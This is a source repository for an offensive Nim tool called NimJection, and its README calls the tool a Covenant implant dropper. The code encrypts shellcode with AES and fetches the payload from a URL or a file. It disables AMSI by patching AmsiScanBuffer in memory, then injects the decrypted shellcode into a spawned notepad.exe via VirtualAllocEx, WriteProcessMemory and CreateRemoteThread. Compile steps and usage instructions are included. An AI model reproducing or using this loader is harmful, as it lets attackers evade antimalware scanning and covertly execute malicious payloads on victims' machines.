├── httprequest.nim ├── decrypt.nim ├── encrypt.nim ├── amsipatch.nim ├── LICENSE ├── PrepPayload.nim ├── inject.nim ├── NimJection.nim └── README.md /httprequest.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Reworked based on Marcello Salvati, Twitter: @byt3bl33d3r 's work - all credit goes it him 3 | License: BSD 3-Clause 4 | 5 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/http_request_bin.nim 6 | ]# 7 | 8 | import httpclient 9 | 10 | proc httpRequest*(URL = ""): string = 11 | 12 | echo "[*] Using httpclient" 13 | var client = newHttpClient() 14 | return client.getContent(URL) 15 | -------------------------------------------------------------------------------- /decrypt.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Adampted From: 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | AES256-CTR Encryption/Decryption 7 | ]# 8 | 9 | import nimcrypto 10 | import nimcrypto/sysrand 11 | import strutils 12 | 13 | func toByteSeq*(str: string): seq[byte] {.inline.} = 14 | ## Converts a string to the corresponding byte sequence. 15 | @(str.toOpenArrayByte(0, str.high)) 16 | 17 | proc decrypt*(envkey = "", payload = ""): array[43132,byte] = 18 | 19 | var 20 | dctx: CTR[aes256] 21 | key: array[aes256.sizeKey, byte] 22 | dectext: array[43132,byte] 23 | iv = nimcrypto.fromHex(splitLines(payload)[0]) 24 | enctext = nimcrypto.fromHex(splitLines(payload)[1]) 25 | 26 | 27 | var expandedkey = sha256.digest(envkey) 28 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 29 | 30 | 31 | dctx.init(key, iv) 32 | dctx.decrypt(enctext, dectext) 33 | dctx.clear() 34 | 35 | return dectext 36 | 37 | #echo "ENCRYPTED TEXT: ", toHex(enctext) 38 | #echo "DECRYPTED TEXT: ", toHex(dectext) 39 | -------------------------------------------------------------------------------- /encrypt.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Adampted From: 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | AES256-CTR Encryption/Decryption 7 | ]# 8 | 9 | import nimcrypto 10 | import nimcrypto/sysrand 11 | #import winim/lean 12 | 13 | 14 | func toByteSeq*(str: string): seq[byte] {.inline.} = 15 | ## Converts a string to the corresponding byte sequence. 16 | @(str.toOpenArrayByte(0, str.high)) 17 | 18 | proc encrypt*(plaintext: seq[byte], envkey = ""): void = 19 | var 20 | ectx: CTR[aes256] 21 | key: array[aes256.sizeKey, byte] 22 | iv: array[aes256.sizeBlock, byte] 23 | enctext = newSeq[byte](len(plaintext)) 24 | 25 | # Create Random IV 26 | discard randomBytes(addr iv[0], 16) 27 | 28 | # Expand key to 32 bytes using SHA256 as the KDF 29 | var expandedkey = sha256.digest(envkey) 30 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 31 | 32 | ectx.init(key, iv) 33 | ectx.encrypt(plaintext, enctext) 34 | ectx.clear() 35 | 36 | echo "IV: ", toHex(iv) 37 | echo "ENKEY: ", envkey 38 | # echo "PLAINTEXT: ", toHex(plaintext) 39 | # echo "ENCRYPTED TEXT: ", toHex(enctext) 40 | 41 | var lines = [toHex(iv) ,toHex(enctext)] 42 | let f = open("encrypt.txt", fmWrite) 43 | 44 | for line in lines: 45 | f.writeLine(line) 46 | 47 | f.close() 48 | echo "ENCRYPTED PAYLOAD: ./encrypt.txt" 49 | echo "PAYLOAD SIZE = " & $(len(plaintext)) & " - Check decrypt.nim dectext and return array size matches" 50 | 51 | -------------------------------------------------------------------------------- /amsipatch.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | ]# 6 | 7 | import winim/lean 8 | import dynlib 9 | 10 | when defined amd64: 11 | echo "[*] Running in x64 process" 12 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 13 | elif defined i386: 14 | echo "[*] Running in x86 process" 15 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 16 | 17 | proc PatchAmsi*(): bool = 18 | var 19 | amsi: LibHandle 20 | cs: pointer 21 | op: DWORD 22 | t: DWORD 23 | disabled: bool = false 24 | 25 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 26 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 27 | amsi = loadLib("amsi") 28 | if isNil(amsi): 29 | echo "[X] Failed to load amsi.dll" 30 | return disabled 31 | 32 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 33 | if isNil(cs): 34 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 35 | return disabled 36 | 37 | if VirtualProtect(cs, patch.len, 0x40, addr op): 38 | echo "[*] Applying patch" 39 | copyMem(cs, unsafeAddr patch, patch.len) 40 | VirtualProtect(cs, patch.len, op, addr t) 41 | disabled = true 42 | 43 | return disabled 44 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, cybernomad1 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /PrepPayload.nim: -------------------------------------------------------------------------------- 1 | import httprequest 2 | import base64 3 | #import winim/lean 4 | #import osproc 5 | import encrypt 6 | import parseopt 7 | import os 8 | import sequtils 9 | 10 | 11 | let argv = commandLineParams() 12 | 13 | var 14 | b64Payload = "" 15 | shellcode: seq[byte] 16 | enkey = "" 17 | 18 | if argv == @[]: 19 | echo "Flags:\n--url\n--file\n--enkey\tencryption key, DEAFULT: Nimjection\n\nUsage:\n./PrepPayload --url:http://127.0.0.1/shellcode\tGet Remote Payload\n./PrepPayload --file:\"Local Payload File\"\tGet Local Payload" 20 | else: 21 | 22 | let f = toSeq(getopt()) 23 | 24 | for a in f: 25 | if a.key == "url": 26 | echo "Grabbing payload from: " & a.val 27 | 28 | if f[f.high].key == "enkey": 29 | enkey = f[f.high].val 30 | else: 31 | enkey = "Nimjection" 32 | 33 | 34 | b64Payload = httpRequest(a.val) 35 | shellcode = toByteSeq(decode(b64Payload)) 36 | echo "Encrypting Payload..." 37 | encrypt(shellcode, enkey) 38 | 39 | break 40 | 41 | elif a.key == "file": 42 | 43 | echo "Grabbing payload from: " & a.val 44 | 45 | if f[f.high].key == "enkey": 46 | enkey = f[f.high].val 47 | else: 48 | enkey = "Nimjection" 49 | 50 | b64Payload = readFile(a.val) 51 | shellcode = toByteSeq(decode(b64Payload)) 52 | echo "Encrypting Payload..." 53 | encrypt(shellcode,enkey) 54 | 55 | break 56 | else: 57 | echo "unknown command line argument: " & a.key 58 | break 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /inject.nim: -------------------------------------------------------------------------------- 1 | 2 | #[ 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | ]# 6 | import winim/lean 7 | import osproc 8 | 9 | 10 | proc injectCreateRemoteThread*[I, T](shellcode: array[I, T]): void = 11 | 12 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 13 | let tProcess = startProcess("notepad.exe") 14 | tProcess.suspend() # That's handy! 15 | defer: tProcess.close() 16 | 17 | echo "[*] Target Process: ", tProcess.processID 18 | 19 | let pHandle = OpenProcess( 20 | PROCESS_ALL_ACCESS, 21 | false, 22 | cast[DWORD](tProcess.processID) 23 | ) 24 | defer: CloseHandle(pHandle) 25 | 26 | echo "[*] pHandle: ", pHandle 27 | 28 | let rPtr = VirtualAllocEx( 29 | pHandle, 30 | NULL, 31 | cast[SIZE_T](shellcode.len), 32 | MEM_COMMIT, 33 | PAGE_EXECUTE_READ_WRITE 34 | ) 35 | 36 | var bytesWritten: SIZE_T 37 | let wSuccess = WriteProcessMemory( 38 | pHandle, 39 | rPtr, 40 | unsafeAddr shellcode, 41 | cast[SIZE_T](shellcode.len), 42 | addr bytesWritten 43 | ) 44 | 45 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 46 | echo " \\-- bytes written: ", bytesWritten 47 | echo "" 48 | 49 | let tHandle = CreateRemoteThread( 50 | pHandle, 51 | NULL, 52 | 0, 53 | cast[LPTHREAD_START_ROUTINE](rPtr), 54 | NULL, 55 | 0, 56 | NULL 57 | ) 58 | defer: CloseHandle(tHandle) 59 | 60 | echo "[*] tHandle: ", tHandle 61 | echo "[+] Injected" -------------------------------------------------------------------------------- /NimJection.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import osproc 3 | import amsipatch 4 | import parseopt 5 | import os 6 | import httprequest 7 | import sequtils 8 | import inject 9 | import decrypt 10 | 11 | let argv = commandLineParams() 12 | 13 | var 14 | enkey = "" 15 | 16 | if argv == @[]: 17 | echo "Flags:\n--url\n--file\n--enkey\tencryption key, DEAFULT: Nimjection\n\nUsage:\n./Nimjection.exe --url:http://127.0.0.1/shellcode\tGet Remote Payload\n./Nimjection.exe --file:\"Local Payload File\"\tGet Local Payload" 18 | else: 19 | let f = toSeq(getopt()) 20 | for a in f: 21 | if a.key == "url": 22 | var success = PatchAmsi() 23 | echo "[*] AMSI disabled: ",success 24 | 25 | if f[f.high].key == "enkey": 26 | enkey = f[f.high].val 27 | else: 28 | echo "No encryption key set...." 29 | break 30 | 31 | echo "Grabbing payload from: " & a.val 32 | echo "Decrypting payload..." 33 | injectCreateRemoteThread(decrypt(enkey, httpRequest(a.val))) 34 | break 35 | 36 | elif a.key == "file": 37 | var success = PatchAmsi() 38 | echo "[*] AMSI disabled: ",success 39 | 40 | if f[f.high].key == "enkey": 41 | enkey = f[f.high].val 42 | else: 43 | echo "No encryption key set...." 44 | break 45 | 46 | echo "Grabbing payload from: " & a.val 47 | echo "Decrypting payload..." 48 | 49 | injectCreateRemoteThread(decrypt(enkey,readFile(a.val))) 50 | break 51 | else: 52 | echo "unknown command line argument: " & a.key 53 | break 54 | 55 | 56 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NimJection 2 | My experiments with Nim for covenant implant operations. Highly recommend looking at Marcello Salvati’s https://github.com/byt3bl33d3r repo which I used massively for this project. 3 | 4 | 5 | ## PrepPayload 6 | Used for grabbing b64 shellcode, either from a file or URL, converting it to correct format and encrypting using specified encryption key. Creates encrypt.txt file containing encrypted shellcode for use with NimJection. 7 | 8 | ### Compile Instructions: 9 | ``` 10 | nim c -d:ssl PrepPayload.nim 11 | ``` 12 | > Experienced SSL problems if cross compiling in Windows from Unix so would recommend compiling on platform you’re going to use it on. 13 | 14 | ### Usage 15 | ``` 16 | Flags: 17 | --url 18 | --file 19 | --enkey encryption key, DEAFULT: Nimjection 20 | 21 | ./PrepPayload --url:http://127.0.0.1/shellcode Get Remote Payload 22 | ./PrepPayload --file:"Local Payload File" Get Local Payload 23 | ``` 24 | 25 | ## NimJection 26 | What you drop onto target. Decrypts ‘encrypt.txt’, either locally or via grabbing it from URL, created by PrepPayload, does some AMSI patching and then injects and executes resulting shellcode pretending to be notepad.exe. 27 | 28 | ### Compile Instructions: 29 | ``` 30 | nim c -d:ssl NimJection.nim 31 | ``` 32 | > Recommend compiling on windows due to SSL issues – but if grabbing file locally/over http ‘should’ work via cross compile 33 | 34 | ### Usage 35 | ``` 36 | --url 37 | --file 38 | --enkey encryption key 39 | 40 | Usage: 41 | ./Nimjection.exe --url:http://127.0.0.1/shellcode Get Remote Payload 42 | ./Nimjection.exe --file:"Local Payload File" Get Local Payload 43 | ``` 44 | 45 | 46 | 47 | There is a slight issue with the code in the fact that byte array sizes need to be declared at compile. To aid in usage, PrePayload will display the byte array size in its output: 48 | 49 | ``` 50 | ./PrepPayload --url:https://127.0.0.1/GruntHTTP.bin.b64 --enkey:test 51 | 52 | Grabbing payload from: https://127.0.0.1/GruntHTTP.bin.b64 53 | [*] Using httpclient 54 | Encrypting Payload... 55 | IV: 03A5EF054B596D12055585BC99C8160D 56 | ENKEY: test 57 | ENCRYPTED PAYLOAD: ./encrypt.txt 58 | PAYLOAD SIZE = 43132 Check decrypt nim dectext array size matches 59 | ``` 60 | Before compiling Nimjector for use on a target, decryt.nim needs to be checked/changed to have the right return array size and dextext array size. 61 | 62 | ``` 63 | proc decrypt*(envkey = "", payload = ""): array[43132,byte] = 64 | 65 | dectext: array[43132,byte] 66 | 67 | ``` 68 | 69 | 70 | --------------------------------------------------------------------------------